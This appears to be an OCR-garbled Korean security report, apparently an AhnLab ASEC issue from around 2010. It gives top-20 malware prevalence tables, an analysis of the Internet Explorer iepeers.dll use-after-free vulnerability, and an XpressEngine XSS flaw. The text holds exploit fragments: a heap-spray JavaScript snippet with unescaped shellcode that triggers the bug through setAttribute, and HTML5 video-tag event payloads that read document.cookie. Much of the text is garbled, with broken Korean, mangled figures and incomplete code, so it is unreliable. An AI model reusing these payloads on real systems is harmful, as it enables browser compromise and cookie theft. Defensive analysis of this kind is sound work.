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1 1 Textimage/Autorun 316,965 18.2%
2 11 Win32/Induc 269,474 15.4%
3 = Win32/Parite 108,940 6.2%
4 11 Win32/Palevo.worm.Gen 108,405 6.2%
5 18 ALS/Bursied 75,702 43%
6 14 Win32/Olala.worm.57344 75,626 4.3 %
7 11 Win32/Conficker.worm.Gen 74418 43%
8 I Win32/Virut.B 72,495 42%
&) = Win32/Virut 66,223 38%
10 12 Textimage/Sasan 65,301 3.7%
11 New JS/Shellcode 61,009 35%
12 New Win—Trojan/Daonol.Gen 55,901 3.2%
13 14 Textimage/Viking 54,656 3.1%
14 New JS/Downloader 54,376 3.1%
15 13 HTML/Agent 52,375 3%
16 New Win32/Autorun.worm 50,349 29%
17 111 Win—Adware/PointKing.722944 48,722 28%
18 12 Win—Trojan/Genome.308832.B 48 472 28%
19 New JS/Redirector 45196 26%

20 New Win32/Traxg.worm.61440 40,794 2.3%
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1 - Win—Trojan/Agent 453611 12.2%

2 19 Win-Trojan/Onlinegamehack 375,499 10.1%

3 = Win—Trojan/Downloader 344,736 93%

4 T Textimage/Autorun 317,212 85%

5 11 Win32/Induc 269,539 7.2%

6 la Win—Trojan/OnlineGameHack 246,508 6.6%

7 13 Win32/Conficker 215163 5.8%

8 T Win32/Virut 184,665 5%

9 |2 Win32/Autorun,worm 171,172 4.6%
10 12 Win32/Palevo 166,451 45%
11 New Win—Trojan/Daonol 157,176 42 %
12 T Win—Trojan/Genome 151,339 41%
13 14 Win32/Kido 122,625 3.3%
14 11 Win32/Parite 110,404 3%
15 New Dropper/Onlinegamehack 86,211 23%
16 New Win32/0lala 76,936 21%
17 New ALS/Bursted 75,702 2%
18 New VBS/Solow 66,204 18%
19 New Textimage/Sasan 65,301 1.8%
20 New Dropper/OnlineGameHack 65,233 18%
A 3,721,687 100 %
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1 Win—Trojan/Cnlinegamehack.159744.0 32,336 10.6 %
2 Dropper/Onlinegamehack. 184832 23,928 78%
3 Win—Adware/ColorSoft.106496.D 22,964 75%
4 Win-Trojan/Agent 53248 ACQ 18310 6%
5 Win—Trojan/Onlinegamehack.81920.L 18,110 59%
6 Win—Trojan/Dacnaol 24064.T 15,865 52%
7 Win—Trojan/Bho.874496 15,539 51%
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9 BAT/Delfile 14,599 48%

10 Win—Trojan/Agent.250368.0 12,819 42 %
11 Win—Trojan/Onlinegamehack.159744.Q 12,281 4%
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18 Win—Trojan/Agent.615424.G 11,031 38%
19 Win—Trojan/Onlinegamehack. 187904 10,641 35%
20 Win32/Palevo.worm, 108032, E 10,263 34%
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® Andre Pitre (BFEAAH &X 213 : hitp://core.ahnlab.com/138)

® Kim Yuna Youtube (& &ZX213 : hitp://blog.ahnlab.com/asec/263)...
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AlF2[E| Ol
Microsoft Internet Explorer “iepeers.dil” Use-after-free Vulnerability

0| #2UFE Internet Explorer@ Web Folders?} printingdl AFREl=
iepeers.dil EEUAM M7= FokMo R iepeers.dll LI EXl5H= &4
Hote sethttribute() 42 HET ot 2HF0IA 2XIT0] LA
| |20l AF23H= DHTMLL| userData Behaviores F7|2Ct
IAE JIX|T IOH, 0l= 772t H|XstA Z2t0|HE0 HlolH
Foj AFSEICH

mjo
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L]

ro

iy
X o
02 o

Rl
0
el

userData Behavior2| H0{E syntax= Ofzi et 2Tt

[XML]

<Prefix: CustomTag ID=sID STYLE="behavior:url(‘#default#userData’)" />
[HTML]

<ELEMENT STYLE="behavior:url(‘#default#userData’)" ID=sID>
[Scripting]

object.style.behavior ="url(‘#default#userData’)"

object.addBehavior (“#default#userData”)
[CSS]

h3 { behavior: url(#defaultiuserData); }

A

57| QIshME setAttribute() &=

oo

0|48t userData Behaviorg SH=Z!
Lt getAttribute() B~E AFE5101 Hl0[E{of TZE& 4~ Ut 0] F—Pé*oﬂ
M ZXIFEO0| LtstH, 0] FUFo| YolLt= o2 o|0] shxlE 2B

HIMSITH O Internet Explorer 6, 7 HZOA 20|

HIASHH Internet Explorer 5, 8 HEIS SHEE|X| Y=L},

iepeers.dll [setAttribute@CPersistUserData]
/VARAINTHS & tHEt

text:4223539F  push 409 ; Icid

text:422353A4 mov  eax, esi

.text:422353A6 push eax ; pvarSrc
.text:422353A7 push eax ; pvargDest
text:422353A8 call ds:__imp__VariantChangeTypeEx@
.text:422353AE  mov  edi, eax

.text:422353B0  test edi, edi

.text:422353B2 jnz  shortloc_42235415

/] = 22|01,
text:42235415 lea eax, [ebp+pvarg]
text:42235418

text:42235419

push eax ; pvarg
call ds:

__imp__VariantClear@4 ; VariantClear(x)

CRlo|2 st Zx Z=
v3 = VariantChangeTypeEx(&data, &data, 0x409u, 0, 8u);

if (v3){
VariantClear(&pvarg);

return value;

jscript.dil [IDispatchExGetDispID]
text:75BC3055  push [ebp+arg_10]
.text:75BC3058
.text:75BC305B

.text:75BC305E

mov eax, [ebp+arg_4]

push [ebp+arg_C]

mov ecx, [eax] ; 0|0] S{AIE @EHEEC| HOIEE XA
.text:75BC3060 push [ebp+arg_8]
text:75BC3063

.text:75BC3064

push eax

call dword ptr [ecx+1Ch] ; Hl=22] EZ= ofl2].

E&= of2fiet 2ot

var shellcode = unescape("%ucc2b%ulfbl%u0cbd%u
var array = new Array();
var Is = 0x86000 - (shellcodelength * 2);
var b = unescape("%u0cc%u0c0C"),;
while (blength < Is / 2) {
b+=b

for (i =00 < 270; i++) {
array[i] = Ih + Ih + shellcode;

(F1H8E) ...
sdfsfsdf.addBehavior("ZdefaultzuserData");

sdfsfsdf. setAttribute('s’, window);
- catch (e) {}

window.status += "'
]
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XE (7 MEZEE XE) XSS £

XE Z|AMHF(Core 1.4.09)H 0l A XSS(Cross Site Scripting) F2F&0|
IRE =0f olal LAZACE XSS2t Cross Site Scripting2] 2FAHCSS
2luE £2|7|% it Cascading Style Sheets?t E2&|0 YHtx oz

-
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= e = SoH
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oA MEsh= O[HIE 42 ZEE SHX| oot LSt

HTML50 Z=7t+E Ef32t 0f £d 52 ot url S &fel &
= QUL

http : //www.w3schools.com/html5/html5_reference.asp

I‘(vxdeo

SEC="HEED / / ee—————— SRR e —

ity 12, 0"
onloadedmetadata="alert|document. coo]ne]
ondurationchanged="alert(/X352/)
ontimeupdate="alert(/X551/) ;"></video>

[O& 1-12] HIAE FE
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® T A3 VBScript ‘MsgBox” + F1 + HZX| hip It A&
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- MsgBox g4
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"o
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o
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1.http://core.ahnlab.com/128
2.http://www.theregister.co.uk/2010/03/02/mariposa_botnet_takedown/
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